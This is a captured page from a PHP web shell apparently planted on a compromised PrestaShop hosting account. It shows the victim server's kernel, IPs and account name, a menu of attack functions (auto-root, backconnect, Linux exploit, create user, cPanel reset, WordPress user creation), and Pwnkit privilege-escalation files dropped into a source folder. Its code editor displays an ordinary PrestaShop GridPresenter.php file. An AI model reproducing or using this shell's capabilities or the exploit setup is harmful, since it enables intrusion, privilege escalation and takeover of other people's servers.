Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
newmed /
src /
Core /
Grid /
Presenter /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
GridPresenter.php
5.69
KB
-rw----r--
GridPresenterInterface.php
1.44
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GridPresenter.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Core\Grid\Presenter; use PrestaShop\PrestaShop\Core\Grid\Column\ColumnInterface; use PrestaShop\PrestaShop\Core\Grid\Column\Type\Common\PositionColumn; use PrestaShop\PrestaShop\Core\Grid\Definition\GridDefinitionInterface; use PrestaShop\PrestaShop\Core\Grid\Filter\FilterInterface; use PrestaShop\PrestaShop\Core\Grid\GridInterface; use PrestaShop\PrestaShop\Core\Hook\HookDispatcherInterface; use PrestaShop\PrestaShop\Core\Search\Filters; use Symfony\Component\DependencyInjection\Container; /** * Class GridPresenter is responsible for presenting grid. */ final class GridPresenter implements GridPresenterInterface { /** * @var HookDispatcherInterface */ private $hookDispatcher; public function __construct(HookDispatcherInterface $hookDispatcher) { $this->hookDispatcher = $hookDispatcher; } /** * {@inheritdoc} */ public function present(GridInterface $grid) { $filterForm = $grid->getFilterForm(); $definition = $grid->getDefinition(); $searchCriteria = $grid->getSearchCriteria(); $data = $grid->getData(); $presentedGrid = [ 'id' => $definition->getId(), 'name' => $definition->getName(), 'filter_form' => $filterForm->createView(), 'form_prefix' => '', 'columns' => $this->getColumns($grid), 'column_filters' => $this->getColumnFilters($definition), 'actions' => [ 'grid' => $definition->getGridActions()->toArray(), 'bulk' => $definition->getBulkActions()->toArray(), ], 'data' => [ 'records' => $data->getRecords(), 'records_total' => $data->getRecordsTotal(), 'query' => $data->getQuery(), ], 'pagination' => [ 'offset' => $searchCriteria->getOffset(), 'limit' => $searchCriteria->getLimit(), ], 'sorting' => [ 'order_by' => $searchCriteria->getOrderBy(), 'order_way' => $searchCriteria->getOrderWay(), ], 'filters' => $searchCriteria->getFilters(), 'attributes' => [ 'is_empty_state' => empty($filterForm->getData()) && $data->getRecords()->count() === 0, ], ]; if ($searchCriteria instanceof Filters) { $presentedGrid['form_prefix'] = $searchCriteria->getFilterId(); } $this->hookDispatcher->dispatchWithParameters('action' . Container::camelize($definition->getId()) . 'GridPresenterModifier', [ 'presented_grid' => &$presentedGrid, ]); return $presentedGrid; } /** * Returns the columns formatted as array, adds an additional position handle * column when needed. * * @param GridInterface $grid * * @return array */ private function getColumns(GridInterface $grid) { $columns = $grid->getDefinition()->getColumns()->toArray(); $positionColumn = $this->getOrderingPosition($grid); if (null !== $positionColumn) { array_unshift($columns, [ 'id' => $positionColumn->getId() . '_handle', 'name' => $positionColumn->getName(), 'type' => 'position_handle', 'options' => $positionColumn->getOptions(), ]); } return $columns; } /** * @param GridInterface $grid * * @return ColumnInterface|null */ public function getOrderingPosition(GridInterface $grid) { $searchCriteria = $grid->getSearchCriteria(); /** @var ColumnInterface $column */ foreach ($grid->getDefinition()->getColumns() as $column) { if ($column instanceof PositionColumn && strtolower($column->getId()) == strtolower($searchCriteria->getOrderBy()) && 'asc' == strtolower($searchCriteria->getOrderWay()) ) { return $column; } } return null; } /** * Get filters that have associated columns. * * @param GridDefinitionInterface $definition * * @return array */ private function getColumnFilters(GridDefinitionInterface $definition) { $columnFiltersMapping = []; /** @var FilterInterface $filter */ foreach ($definition->getFilters()->all() as $filter) { if (null !== $associatedColumn = $filter->getAssociatedColumn()) { $columnFiltersMapping[$associatedColumn][] = $filter->getName(); } } return $columnFiltersMapping; } }
Close